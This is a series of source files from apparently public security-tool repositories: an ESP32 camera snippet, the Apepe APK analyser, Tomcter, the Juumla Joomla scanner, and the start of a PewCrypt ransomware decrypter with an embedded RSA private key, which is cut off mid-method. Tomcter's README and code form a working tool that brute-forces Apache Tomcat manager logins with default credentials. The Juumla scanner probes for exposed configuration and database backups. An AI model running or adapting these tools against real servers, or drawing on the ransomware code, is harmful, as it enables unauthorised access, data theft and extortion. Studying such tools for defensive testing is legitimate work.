esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t* sensor = esp_camera_sensor_get(); ov5640.start(sensor); if (ov5640.focusInit() == 0) { Serial.println("OV5640_Focus_Init Successful!"); } if (ov5640.autoFocusMode() == 0) { Serial.println("OV5640_Auto_Focus Successful!"); } } void loop() { uint8_t rc = ov5640.getFWStatus(); Serial.printf("FW_STATUS = 0x%x\n", rc); if (rc == -1) { Serial.println("Check your OV5640"); } else if (rc == FW_STATUS_S_FOCUSED) { Serial.println("Focused!"); } else if (rc == FW_STATUS_S_FOCUSING) { Serial.println("Focusing!"); } else { } camera_fb_t* fb = esp_camera_fb_get(); if (!fb) { Serial.println("Camera capture failed"); esp_camera_fb_return(fb); return; } if (fb->format != PIXFORMAT_JPEG) { Serial.println("Non-JPEG data not implemented"); esp_camera_fb_return(fb); return; } // Draw Image on the display or Send Image to the connected device! // With (fb->buf, fb->len); esp_camera_fb_return(fb); }
000pp/Apepe
1,984
README.md
# ๐Ÿ“ฒ Apepe > ๐Ÿ“ฒ Enumerate information from an app based on the APK file <div align="center"> <img src="https://i.imgur.com/0qh6sHq.jpg" width="850"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/Apepe?color=orange&label=STARS&logo=github&logoColor=orange&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/Apepe?color=orange&logo=github&logoColor=orange&style=for-the-badge"> </p> ___ ### ๐Ÿ•ต๏ธ What is Apepe? ๐Ÿ•ต๏ธ **Apepe** is a project developed to help to capture informations from a Android app through his APK file. It can be used to extract the content, get app settings, suggest SSL Pinning bypass based on the app detected language, extract deeplinks from AndroidManifest.xml, JSONs and DEX files. <br> ### โšก Getting started A quick guide of how to install and use Apepe. 1. `git clone https://github.com/oppsec/Apepe.git` 2. `pip install -r requirements.txt --break-system-packages` 3. `python3 main -h` <br> ### โœจ Features - List the activies, permissions, services, and libraries used by the app - Identify the app development language based on classes name - Suggest SSL Pinnings bypass with the `-l` flag - Find deeplinks in DEX, JSONs files and AndroidManifest.xml with the `-d` flag <br> ### ๐Ÿ–ผ๏ธ Preview <img src="https://i.imgur.com/myZOPz7.png" width=800> <br> ### ๐Ÿ”จ Contributing A quick guide of how to contribute with the project. 1. Create a fork from Apepe repository 2. Download the project with `git clone https://github.com/your/Apepe.git` 3. `cd Apepe/` 4. Make your changes 5. Commit and make a git push 6. Open a pull request <br> ### โš ๏ธ Warning - The developer is not responsible for any malicious use of this tool.
000pp/Apepe
5,812
src/apepe/main.py
from rich.console import Console console = Console() from os import path, chdir from pathlib import Path from zipfile import ZipFile, BadZipFile from shutil import rmtree from androguard.core.apk import APK from androguard.core.dex import DEX from src.apepe.modules.suggest import suggest_sslpinning from src.apepe.modules.deeplink import scraper from src.apepe.modules.exported import exported from loguru import logger logger.remove(0) def perform_checks(apk_file, list_scripts, deeplink) -> None: """ This function is responsible to check if the APK file exists and if the extension is .apk """ global args_list_scripts args_list_scripts = list_scripts global args_deeplink args_deeplink = deeplink file_name: str = apk_file check_if_file: bool = path.isfile(file_name) check_if_file_exists: bool = path.exists(file_name) check_extension: bool = file_name.endswith(".apk") if not(check_if_file or check_if_file_exists): console.print("[red][!][/] You have specified an invalid or non existent file or directory") return True if not(check_extension): console.print("[red][!][/] File extension is not [b].apk[/], please check your file or input") return True console.print(f"[yellow][!][/] APK: [yellow]{file_name}[/]", highlight=False) extract_apk(file_name) def extract_apk(file_name) -> None: """ This function will create a folder with the same name as of APK file and extract the content from the apk file to that folder """ normal_dir_name: str = f"{file_name.rstrip('.apk')}_extracted" current_dir = Path.cwd() target_dir = current_dir.joinpath(normal_dir_name) try: console.print(f"[yellow][!][/] Extraction folder: [yellow]{target_dir}[/]", highlight=False) if target_dir.exists(): rmtree(target_dir) target_dir.mkdir(parents=True, exist_ok=True) with ZipFile(file_name, mode="r") as archive: archive.extractall(path=normal_dir_name) apk_info_extraction(file_name, normal_dir_name) except FileNotFoundError: console.print(f"[red][!][/] APK file '{file_name}' not found.") except PermissionError: console.print(f"[red][!][/] Permission denied while creating {target_dir}.") except (OSError, BadZipFile) as error: console.print(f"[red][!][/] Error processing APK: {error}") def apk_info_extraction(file_name, normal_dir_name) -> None: """ Uses androguard's library functions to extract APK relevant information such as: Package Name, App Name, Activies, Permissions... """ apk_file = APK(file_name) console.print(f"\n[green][+][/] Package name: {apk_file.get_package()}") console.print("\n[green][+][/] App signature(s):", highlight=False) package_signature_V1 : bool = apk_file.is_signed_v1() package_signature_V3 : bool = apk_file.is_signed_v2() package_signature_V2 : bool = apk_file.is_signed_v3() console.print(f" \\_ V1: {package_signature_V1}\n \\_ V2: {package_signature_V2}\n \\_ V3: {package_signature_V3}") # Get app activities, services, providers and receivers exported(apk_file) # Get list of permissions used by the app try: app_permissions = apk_file.get_details_permissions() if len(app_permissions) != 0: console.print("\n[green][+][/] List of permissions:", highlight=False) for permission in app_permissions: console.print(f" \\_ {permission}") else: console.print("\n[red][!][/] No permission(s) found", highlight=False) except Exception as error: console.print(f"\n[red][!][/] Impossible to list permissions: {error}", highlight=False) pass # Get list of libraries used by the app try: app_libraries = apk_file.get_libraries() if len(app_libraries) != 0: console.print("\n[green][+][/] App libraries:", highlight=False) for library in app_libraries: console.print(f" \\_ {library}") else: console.print("\n[red][!][/] No libraries found", highlight=False) except Exception as error: console.print(f"\n[red][!][/] Impossible to list libraries: {error}", highlight=False) pass check_app_dev_lang(normal_dir_name, apk_file) def check_app_dev_lang(normal_dir_name, apk_file) -> None: """ Try to detect the app development language through classes name """ chdir(normal_dir_name) console.print(f"\n[yellow][!][/] Extracting APK classes", highlight=False) try: dvm = DEX(apk_file.get_dex()) classes = dvm.get_classes() lang_patterns = { 'Lio/flutter/': 'Flutter', 'Lcom/facebook/react/': 'React Native', 'Landroidx/work/Worker': 'Java' } detected_lang = None for apk_class in classes: class_name = apk_class.get_name() for pattern, lang in lang_patterns.items(): if pattern in class_name: detected_lang = lang break if detected_lang: break if detected_lang: console.print(f"[green][+][/] Development language detected: [b]{detected_lang}[/b]") if args_list_scripts: console.print(suggest_sslpinning(detected_lang)) else: console.print("[red][!][/] Impossible to detect the app language") except Exception as error: console.print(f"[red][!][/] Error in [b]check_app_dev_lang[/b] function: {error}") return if args_deeplink: scraper(normal_dir_name, apk_file) console.print("\n[yellow][!][/] Finished!")
000pp/Apepe
4,821
src/apepe/modules/deeplink.py
import json import re from rich.console import Console console = Console() from pathlib import Path from androguard.core.dex import DEX from androguard.core.apk import APK from lxml.etree import tostring DEEPLINK_PATTERN = r'\b\w+://[^\s]+' def dex_handler(file_path: Path) -> list: """ Extract readable strings from a .dex file and filter for deeplinks, excluding those that start with 'http://', 'https://' or 'parse' """ results = [] try: with file_path.open('rb') as dex_file: content = DEX(dex_file.read()) strings = content.get_strings() results = [ s for s in strings if isinstance(s, str) and re.search(DEEPLINK_PATTERN, s) and not ('http://' in s or 'https://' in s or 'parse' in s) ] except Exception as error: console.print(f"[red][!][/] Failed to read DEX file [yellow]{file_path}[/]: {error}") return [] if len(results) == 0: return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n" else: return "\n".join(results) + "\n" def json_handler(file_path: Path) -> list: """ Extract readable strings from a .json file and filter for deeplinks, excluding those that start with 'http://' or 'https://'. """ results = [] try: with file_path.open('r', encoding='utf-8') as json_file: content = json.load(json_file) stack = [content] while stack: obj = stack.pop() if isinstance(obj, dict): stack.extend(obj.values()) elif isinstance(obj, list): stack.extend(obj) elif isinstance(obj, str): if re.search(DEEPLINK_PATTERN, obj) and not ('http://' in obj or 'https://' in obj or 'parse' in obj): results.append(obj) except Exception as error: console.print(f"[red][!][/] Failed to read JSON file [yellow]{file_path}[/]: {error}") return [] if len(results) == 0: return f"[red][!][/] No deeplinks found in [yellow]{file_path}[/]\n" else: return "\n".join(results) + "\n" def android_manifest_handler(apk_file: str) -> None: """ Extract readable intent-filter (scheme, host and path) from AndroidManifest.xml """ console.print("[green][+][/] AndroidManifest.xml:") results = [] seen = set() try: manifest = APK.get_android_manifest_xml(apk_file) manifest_content: str = tostring(manifest, pretty_print=True, encoding="unicode") if len(manifest_content) == 0: console.print(f"[red][!][/] AndroidManifest.xml content is 0 - [yellow]{apk_file}[/]") else: for intent_filter in manifest.findall(".//intent-filter"): data_tag = intent_filter.find("data") if data_tag is not None: scheme = data_tag.get("{http://schemas.android.com/apk/res/android}scheme", "") host = data_tag.get("{http://schemas.android.com/apk/res/android}host", "") path = data_tag.get("{http://schemas.android.com/apk/res/android}path", "") formatted_url = f"{scheme}://{host}{path}" if scheme and host and path else f"{scheme}://{host}" if formatted_url not in seen: results.append(formatted_url) if len(results) == 0: return f"[red][!][/] No results for [yellow]{apk_file}[/]\n" else: return "\n".join(results) + "\n" except Exception as error: console.print(f"[red][!][/] Failed to read AndroidManifest.xml file [yellow]{apk_file}[/]: {error}") return [] def scraper(extraction_path: str, apk_file: str) -> None: """ This module aims to get all the readable strings from the extracted files (JSON and DEX) and search for possible deeplinks. extraction_path: Path to the extracted content directory """ path = Path(extraction_path) console.print(f"\n[yellow][!][/] Searching for [yellow]deeplinks[/] [yellow]({path}[/])") console.print(android_manifest_handler(apk_file), highlight=False) extensions = ['.dex', '.json'] for extension in extensions: file_paths = path.glob(f'**/*{extension}') for file_path in file_paths: file_path_str = str(file_path) console.print(f"[yellow][!][/] Checking file: [yellow]{file_path_str}[/]") if(extension == '.dex'): console.print(dex_handler(file_path), highlight=False) if(extension == '.json'): console.print(json_handler(file_path), highlight=False)
000pp/Apepe
1,131
src/apepe/modules/exported.py
from rich.console import Console console = Console() def exported(target) -> None: """ Lists activities, services, receivers, and providers from AndroidManifest.xml file. """ manifest = target.get_android_manifest_xml() endpoints = ["activity", "service", "receiver", "provider"] for endpoint in endpoints: console.print(f"\n[green][+][/] {endpoint.capitalize()}:", highlight=False) if(endpoint == "activity"): console.print(f" [green]\\_[/] Main Activity: [yellow]{target.get_main_activity()}[/]") for element in manifest.findall(f".//{endpoint}"): name = element.get("{http://schemas.android.com/apk/res/android}name") exported = element.get("{http://schemas.android.com/apk/res/android}exported") if exported is None: has_intent_filter = element.find('.//intent-filter') is not None exported = 'True' if has_intent_filter else 'False' color = "green" if exported.lower() == 'true' else 'red' console.print(f' \\_ [yellow]{name}[/] | Exported: [{color}]{exported}[/]')
000pp/tomcter
2,320
README.md
# ๐Ÿ˜น Tomcter > Stealing credentials from a yellow cat <div align="center"> <img src="https://i.imgur.com/ePw5RQ5.png"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/tomcter?color=yellow&label=STARS&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/forks/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/tomcter?color=yellow&logo=github&logoColor=yellow&style=for-the-badge"> </p> ___ <br> <p> ๐Ÿ˜น <b>Tomcter</b> is a python tool developed to bruteforce Apache Tomcat manager login with default credentials. </p> <br> ## โšก Installing / Getting started A quick guide of how to install and use Tomcter. 1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git` 2. Install required libraries with `pip install -r requirements.txt` ### Single Target `python3 main.py -u http://host` <br> ### Multiple Targets `python3 main.py -l file.txt` <br> ### ๐Ÿณ Docker If you want to use Tomcter in a Docker container, follow this commands: 1. Clone the repository with `git clone https://github.com/oppsec/tomcter.git` 2. Build the image with `sudo docker build -t tomcter:latest .` 3. Run the container with `sudo docker run tomcter:latest` <br><br> ### โš™๏ธ Pre-requisites - [Python 3](https://www.python.org/downloads/) installed on your machine. - Install the libraries with `pip3 install -r requirements.txt` <br><br> ### โœจ Features - Works with ProxyChains - Fast Brute-Force - Low RAM and CPU usage - Open-Source - Python โค๏ธ <br><br> ### ๐Ÿ”จ Contributing A quick guide of how to contribute with the project. 1. Create a fork from Tomcter repository 2. Clone the repository with `git clone https://github.com/your/tomcter.git` 3. Type `cd tomcter/` 4. Create a branch and make your changes 5. Commit and make a git push 6. Open a pull request <br><br> ### โš ๏ธ Warning - The developer is not responsible for any malicious use of this tool.
000pp/tomcter
1,031
src/core/manager.py
from random import choice def get_file_data(path) -> str: " Return the content inside text file " with open(path) as file: return file.read() def get_usernames() -> list: " Get all usernames inside usernames.txt file " raw = get_file_data('src/core/data/usernames.txt') raw = raw.split('\n') return raw def get_passwords() -> list: " Get all passwords inside passwords.txt file " raw = get_file_data('src/core/data/passwords.txt') raw = raw.split('\n') return raw def user_agent() -> str: """ Return a random user-agent from user-agents.txt file """ user_agents_file: str = "src/core/data/user-agents.txt" with open(user_agents_file, 'r+') as user_agents: user_agent = user_agents.readlines() user_agent = choice(user_agent) user_agent = user_agent.strip() return str(user_agent) headers = {'User-Agent': user_agent()} props = { "verify": False, "timeout": 25, "allow_redirects": True, "headers": headers }
000pp/tomcter
2,234
src/core/bruteforce.py
from requests import get from base64 import b64encode from time import sleep from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.core.manager import props, get_usernames, get_passwords def check_and_connect(target): url: str = f"{target}/manager/html" try: response = get(url, **props) body: str = response.text status_code: str = response.status_code if (status_code == 401 or status_code == 403 or status_code == 200): if ('Tomcat' in body or 'tomcat' in body): bruteforce(url) else: console.print(f"[red][-] Connection problems with {target} | {status_code} [/]") except Exception as e: raise e except ConnectionRefusedError: pass def connect(args) -> str: """ Check if target is alive and try to connect with Apache Tomcat login page """ target = args.u target_list = args.l if target: check_and_connect(target) elif target_list: with open(target_list, "r+") as file: content = file.readlines() for target in content: if target: check_and_connect(target.rstrip()) def bruteforce(url) -> str: """ Bruteforce Apache Tomcat login with default credentials """ console.print(f"[green][+][/] Starting bruteforce on [bold white]{url}", highlight=False) console.print(f"[green][+][/] {len(get_usernames())} usernames loaded. {len(get_passwords())} passwords loaded\n", highlight=False) for user, password in zip(get_usernames(), get_passwords()): response = get(url, verify=False, auth=(user, password)) sleep(1) status_code: str = response.status_code console.print(f'[yellow][!][/] User: {user} - Password: {password} - {status_code}', highlight=False) if (status_code == 200): console.print(f"\n[green][+][/] Credentials found: {user} - {password} - {status_code}", highlight=False) console.print(f"[green][+][/] Bruteforce in {url} is done", highlight=False) return console.print(f"\n[green][+][/] Bruteforce in {url} is done", highlight=False)
000pp/juumla
1,350
CHANGELOG.md
# ๐ŸŽ‰ 0.1.6 - 02/05/2024 - Added check to config and backup files scanner if result is not HTML response - Changed print to console.print from rich - Changed interface - Improved the code <br><br> # ๐ŸŽ‰ 0.1.5 - 08/07/2023 - Improved the code - Fixed error when trying to get Joomla version on get_version_second() func - Improved backup and configuration file scanner module - Fixed not initializing/closing rich markup correct on get_version_second() func - Improved Exception treatment - Added docker-compose.yml file to emulate an Joomla environment to test the tool - Fixed get_user_agent() returning byte instead of string - Improved random user-agent getter from get_user_agent() func <br><br> # ๐ŸŽ‰ 0.1.4 - 02/06/2022 - Improved the code - Removed useless checks - Changed Juumla banner - Changed status messages <br><br> # ๐ŸŽ‰ 0.1.3b - 12/01/2022 - Updated libraries version - Improved the code a bit <br><br> # ๐ŸŽ‰ 0.1.2a - 27/09/2021 - Made functions description more readable - Added more whitespaces on the code - Changed some messages to something like: "Oh I got that" - Added more tags to requests headers <br><br> # ๐ŸŽ‰ 0.1.2 - 08/09/2021 - Removed automatic screen clear - Changed ascii banner - Added backup files to files searcher module - Fixed version bug in vulnerability scanner (thanks @d4op) - Updated banner image from README
000pp/juumla
2,752
README.md
# ๐Ÿฆ Juumla <div align="center"> <img src="https://i.imgur.com/0RvLKOP.png" width="900"> </div> <br> <p align="center"> <img src="https://img.shields.io/github/license/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/issues/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/stars/oppsec/juumla?color=yellow&label=STARS&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/v/release/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> <img src="https://img.shields.io/github/languages/code-size/oppsec/juumla?color=yellow&logo=github&style=for-the-badge"> </p> ___ <br> <p> ๐Ÿฆ <b>Juumla</b> Juumla is a python tool created to identify Joomla version, scan for vulnerabilities and sensitive files. </p> <br> ## โšก Installing / Getting started <p> A quick guide on how to install and use Juumla. </p> ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git 2. Install the libraries - pip3 install -r requirements.txt 3. Run Juumla - python3 main.py -u https://example.com ``` <br> ### ๐Ÿณ Docker If you want to run Juumla in a Docker container, follow these commands: ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git 2. Build the image - sudo docker build -t juumla:latest . 3. Run container - sudo docker run juumla:latest ``` If you want to create an Joomla environment in a Docker container, follow these commands: ``` 1. Clone the repository - git clone https://github.com/oppsec/juumla.git (or download the docker-compose.yml file) 2. Install docker-compose (e.g: sudo apt install docker-compose) 3. sudo docker-compose up 4. Access http://localhost:8080/ The default root password is: example The default database name is: joomladb The default DBMS is: MySQL 5.6 ``` <br><br> ### โš™๏ธ Pre-requisites - [Python 3](https://www.python.org/downloads/) installed on your machine. - Install the libraries with `pip3 install -r requirements.txt` <br><br> ### โœจ Features - Fast scan - Low RAM and CPU usage - Detect Joomla version - Find config and backup files - Scan for vulnerabilities based on the Joomla version - Open-Source <br><br> ### ๐Ÿ“š To-Do - [ ] Update vulnerabilities database - [x] Improve Joomla detection methods - [x] Improve code optimization <br><br> ### ๐Ÿ”จ Contributing A quick guide on how to contribute to the project. ``` 1. Create a fork from Juumla repository 2. Download the project with git clone https://github.com/your/juumla.git 3. Make your changes 4. Commit and makes a git push 5. Open a pull request ``` <br><br> ### โš ๏ธ Warning - The developer is not responsible for any malicious use of this tool.
000pp/juumla
1,339
src/juumla/main.py
from requests import get, exceptions from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.juumla.settings import props from src.juumla.modules.version import get_version def perform_checks(args) -> None: " Connect to the target and check if status code is positive " global url url = args.u try: response: str = get(url, **props) status_code: int = response.status_code body: str = response.text if response.ok: console.print(f"[green][+][/] Connected successfully to [yellow]{url}[/]", highlight=False) detect_joomla(body) else: console.print(f"[red][-][/] Host returned status code: {status_code}", highlight=False) return except exceptions as error: console.print(f"[red][-][/] Error when trying to connect to {url}: {error}", highlight=False) return def detect_joomla(body) -> None: " Check if meta tag 'generator' contains Joomla! in body response " console.print("[yellow][!][/] Checking if target is running Joomla...", highlight=False) if '<meta name="generator" content="Joomla!' in body: get_version(url) else: console.print("[red][-][/] Target is not running Joomla apparently") return
000pp/juumla
2,160
src/juumla/modules/version.py
from requests import get, exceptions from xmltodict import parse, expat from rich.console import Console console = Console() from urllib3 import disable_warnings disable_warnings() from src.juumla.settings import props from src.juumla.modules.vulns import vuln_manager app_xml_header = "application/xml" text_xml_header = "text/xml" def get_version(url: str) -> None: " Get Joomla version based on XML files response " console.print("\n[yellow][!][/] Running Joomla version scanner! [cyan](1/3)[/]", highlight=False) try: xml_file = f"{url}/language/en-GB/en-GB.xml" response: str = get(xml_file, **props) headers: str = response.headers if response.ok and app_xml_header or text_xml_header in headers: data = parse(response.content) version = data["metafile"]["version"] console.print(f"[green][+][/] Joomla version is: {version}", highlight=False) vuln_manager(url, version) else: console.print("[yellow][!][/] Couldn't get Joomla version, trying other way...", highlight=False) get_version_second(url) except Exception as error: console.print(f"[red][-][/] Error when trying to get {url} Joomla version in first method: {error}", highlight=False) return def get_version_second(url) -> None: """ Last try to get Joomla version """ manifest_file = f"{url}/administrator/manifests/files/joomla.xml" try: response = get(manifest_file, **props) headers = response.headers if response.ok and app_xml_header or text_xml_header in headers: data = parse(response.content) version = data["extension"]["version"] console.print(f"[green][+][/] Joomla version is: {version}", highlight=False) vuln_manager(url, version) else: console.print("[red][-][/] Couldn't get Joomla version, stopping...", highlight=False) return except Exception as error: console.print(f"[red][-][/] Error when trying to get {url} Joomla version in second method: {error}", highlight=False) return
000pp/juumla
4,744
src/juumla/modules/files.py
from requests import get, exceptions from rich.console import Console console = Console() from src.juumla.settings import props def file_scan(file_to_check: str, file_url: str) -> None: try: response = get(f"{file_url}/{file_to_check}", **props) if response.ok and 'text/html' not in response.headers.get('Content-Type', '').lower(): console.print(f"[green][+][/] Sensitive file found: [yellow]{response.url}[/]", highlight=False) elif response.ok: console.print(f"[yellow][!][/] File is HTML, not a sensitive file: {response.url}", highlight=False) except Exception as error: console.print(f"[red][-][/] Error when trying to find sensitive files: {error}", highlight=False) def files_manager(url) -> None: " Search for sensitive readable backup or config files on target " console.print("\n[yellow][!][/] Running backup and config files scanner! [cyan](3/3)[/]", highlight=False) config_files = ['configuration.php~','configuration.php.new','configuration.php.new~','configuration.php.old','configuration.php.old~','configuration.bak','configuration.php.bak','configuration.php.bkp','configuration.txt','configuration.php.txt','configuration - Copy.php','configuration.php.swo','configuration.php_bak','configuration.orig','configuration.php.save','configuration.php.original','configuration.php.swp','configuration.save','.configuration.php.swp','configuration.php1','configuration.php2','configuration.php3','configuration.php4','configuration.php4','configuration.php6','configuration.php7','configuration.phtml','configuration.php-dist'] bkp_files = ['1.gz','1.rar','1.save','1.tar','1.tar.bz2','1.tar.gz','1.tgz','1.tmp','1.zip','2.back','2.backup','2.gz','2.rar','2.save','2.tar','2.tar.bz2','2.tar.gz','2.tgz','2.tmp','2.zip','backup.back','backup.backup','backup.bak','backup.bck','backup.bkp','backup.copy','backup.gz','backup.old','backup.orig','backup.rar','backup.sav','backup.save','backup.sql~','backup.sql.back','backup.sql.backup','backup.sql.bak','backup.sql.bck','backup.sql.bkp','backup.sql.copy','backup.sql.gz','backup.sql.old','backup.sql.orig','backup.sql.rar','backup.sql.sav','backup.sql.save','backup.sql.tar','backup.sql.tar.bz2','backup.sql.tar.gz','backup.sql.tgz','backup.sql.tmp','backup.sql.txt','backup.sql.zip','backup.tar','backup.tar.bz2','backup.tar.gz','backup.tgz','backup.txt','backup.zip','database.back','database.backup','database.bak','database.bck','database.bkp','database.copy','database.gz','database.old','database.orig','database.rar','database.sav','database.save','database.sql~','database.sql.back','database.sql.backup','database.sql.bak','database.sql.bck','database.sql.bkp','database.sql.copy','database.sql.gz','database.sql.old','database.sql.orig','database.sql.rar','database.sql.sav','database.sql.save','database.sql.tar','database.sql.tar.bz2','database.sql.tar.gz','database.sql.tgz','database.sql.tmp','database.sql.txt','database.sql.zip','database.tar','database.tar.bz2','database.tar.gz','database.tgz','database.tmp','database.txt','database.zip','joom.back','joom.backup','joom.bak','joom.bck','joom.bkp','joom.copy','joom.gz','joomla.back','Joomla.back','joomla.backup','Joomla.backup','joomla.bak','Joomla.bak','joomla.bck','Joomla.bck','joomla.bkp','Joomla.bkp','joomla.copy','Joomla.copy','joomla.gz','Joomla.gz','joomla.old','Joomla.old','joomla.orig','Joomla.orig','joomla.rar','Joomla.rar','joomla.sav','Joomla.sav','joomla.save','Joomla.save','joomla.tar','Joomla.tar','joomla.tar.bz2','Joomla.tar.bz2','joomla.tar.gz','Joomla.tar.gz','joomla.tgz','Joomla.tgz','joomla.zip','Joomla.zip','joom.old','joom.orig','joom.rar','joom.sav','joom.save','joom.tar','joom.tar.bz2','joom.tar.gz','joom.tgz','joom.zip','site.back','site.backup','site.bak','site.bck','site.bkp','site.copy','site.gz','site.old','site.orig','site.rar','site.sav','site.save','site.tar','site.tar.bz2','site.tar.gz','site.tgz','site.zip','sql.zip.back','sql.zip.backup','sql.zip.bak','sql.zip.bck','sql.zip.bkp','sql.zip.copy','sql.zip.gz','sql.zip.old','sql.zip.orig','sql.zip.save','sql.zip.tar','sql.zip.tar.bz2','sql.zip.tar.gz','sql.zip.tgz','upload.back','upload.backup','upload.bak','upload.bck','upload.bkp','upload.copy','upload.gz','upload.old','upload.orig','upload.rar','upload.sav','upload.save','upload.tar','upload.tar.bz2','upload.tar.gz','upload.tgz','upload.zip'] # Scan for configuration files for config_file in config_files: file_scan(config_file, url) # Scan for generic backup files for bkp_file in bkp_files: file_scan(bkp_file, url) console.print("[yellow][!][/] Backup and config files scanner finished! [cyan](3/3)[/]", highlight=False)
000JustMe/PewCrypt
4,434
Decrypter/src/main/Decrypter.java
package main; import java.util.Base64; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; public class Decrypter { private String DEFAULT_RSA_KEY = "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDThEl/fSuUgIAGJCfcLzmhk4/KmxhKqBCkVqAECRWii5DfGDI2Skkp7TrWMljBUwd4dnKjBlle0UFaOBAmq1GZLZmvfaEQfhm1qyMNkPkY+T6RuanZ5Y509I2Usxpy/ZKiwqX6Us5mCSMvPhHIf7dNk1pOtvS61Ds22frZ/esf6/jiLNo1MhlDBSEmRytr6hpoWgIEkEg12e4wmhlNVlruRZydrvVCa7dbSDfEo315wLbNniTJTB/aUifBn0JsTg56iem/bsZ7otuaC99Yd9Alnbs8T0C46jRoOJ7mRhn+VA5Jto1O+Qu7M4tMKp3VX1hVKggOh5P4vTJ1mRcAJp4/AgMBAAECggEAd16/A/4mLCbhGZYqEK9uPOvESLmC2g9DZRumLuDZnuRZHC7Rl6YQ6GKDxAKh6GjtXGSsiai5ozNBSKM/KjOhV2tOwqWJ0n74D3jHzY41poxzbVZ0rw5IeWTSykrR8Hd+2/AyL7Wv2hHqE21aJ+c8EcHJQ4cpUo8X4/rdAU219kr1R6BLhrwhW6kxc9lPr+J/CWAdclxJXcvapuRXx0ipPm9Jut5xETCq8GnrMjdysSFXPMA5aJP52hm9RvjzCIPGKR/nm2jJVMsbD2x0CV6HJByT6MfzTluSEf309vCKM2stEOoC/wrXBfBtc7TUfZ4ntS1vhwyJTkZUcFz4ZKhhsQKBgQDym3lNydsxj5TTKsFRuurgDXKLcYZcIiLlm+pefxSB7HTqXJsVfpLjp0NGiUmY1PVVVCGLZRC09KMSLN6qB1VBuEBnebsiIKSuGadAy4uiIzd4cORmDyj+DyCW5k4pnJ28tnYPYkvJoPjkZNkEf3n9HWFjxOMkOuZnfa1oCch+ewKBgQDfMXD7p7YlEZhxG+kNlK/GsnQhfdVATDbGOcy9euCYr0BeBJwhxXfsrrYi6ehqR+EnQ4e2zXGYrPxKm+TPCWh+tJiMOu3Y1mMUuAEJNm1Yjv3ewVAb1YxUK0XqF7Z7JRyL4bFztwIhMSu/R8Lx2FWykoRng2GgmhzR7TzlQer2DQKBgA7PoRM3rJMVAe/2X0D/GVG+YGzU7G/5gYnk/+Tu+zCHYAfiyXEBfjQ5xOisfvq+nY+tCDM7Y0641K/KX3mf4vuVJRFsJBmMRqF+XXCePJMUdVF8CuWULVt9Tu8HdmQh9JtNxF1iEeBoXGmNIpactbTXM1fk8D0I/4H38Ts1xbC7AoGAbXkhsr27MIll3SzUbc3dPbdwELFYtNXtE+Nr0hCAM0PabYMTVdk2jkfPnGZgkii5ffm4imhQbJOEl8/JNeemcmeAX1/UI8RcCuCJ2YvxrDtOuEDXWx+uWeZzv3NsFRDJ5K6JzHkaOU+V5pd7PgZfWlxVRzSA4TZWJn2XnddsOM0CgYEA2lv2ITPwzf+h9/WZdz0Cfi9ir/yAcOf81tqLY1Qfub6scU1tALA/fjQijuRgqBHkH2OXoxrYl4BREW4wUObBi6Hro2JlAhR1TmO3clRRsZ8DneKBAWnX044mtKzm3kMKSy5tZYqNNBYPejh/px3ka+MjCLMk4B0A9SWg8HObrAg="; private PrivateKey RSAKey; private Key AESKey; private Cipher cipher; public Decrypter(String AESKeyFile) { try { this.RSAKey = this.generateRSAKey(Base64.getDecoder().decode(DEFAULT_RSA_KEY)); this.AESKey = decryptAESKey(Files.readAllBytes(new File(AESKeyFile).toPath()), this.RSAKey); this.cipher = Cipher.getInstance("AES"); this.cipher.init(Cipher.DECRYPT_MODE, this.AESKey); } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | IOException | InvalidKeySpecException e) { e.printStackTrace(); System.exit(-1); } } private static Key decryptAESKey(byte[] AESKey, Key RSAKey) throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException { Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.DECRYPT_MODE, RSAKey); return (Key) new SecretKeySpec(cipher.doFinal(AESKey), "AES"); } private PrivateKey generateRSAKey(byte[] rawKey) throws NoSuchAlgorithmException, InvalidKeySpecException { KeyFactory kf = KeyFactory.getInstance("RSA"); return kf.generatePrivate(new PKCS8EncodedKeySpec(rawKey)); } public boolean ProcessFile(String path) { try { // get handles File file = new File(path); // file checks if (!file.exists()) { System.out.println("File not found: " + path); return false; } else if (!file.canRead() | !file.canWrite() | (file.length() > 20000000)) { System.out.println("File conditions not satifified"); return false; } // file content buffer byte[] fileContent = Files.readAllBytes(file.toPath()); // encrypted data buffer byte[] outputBytes = this.cipher.doFinal(fileContent); // write 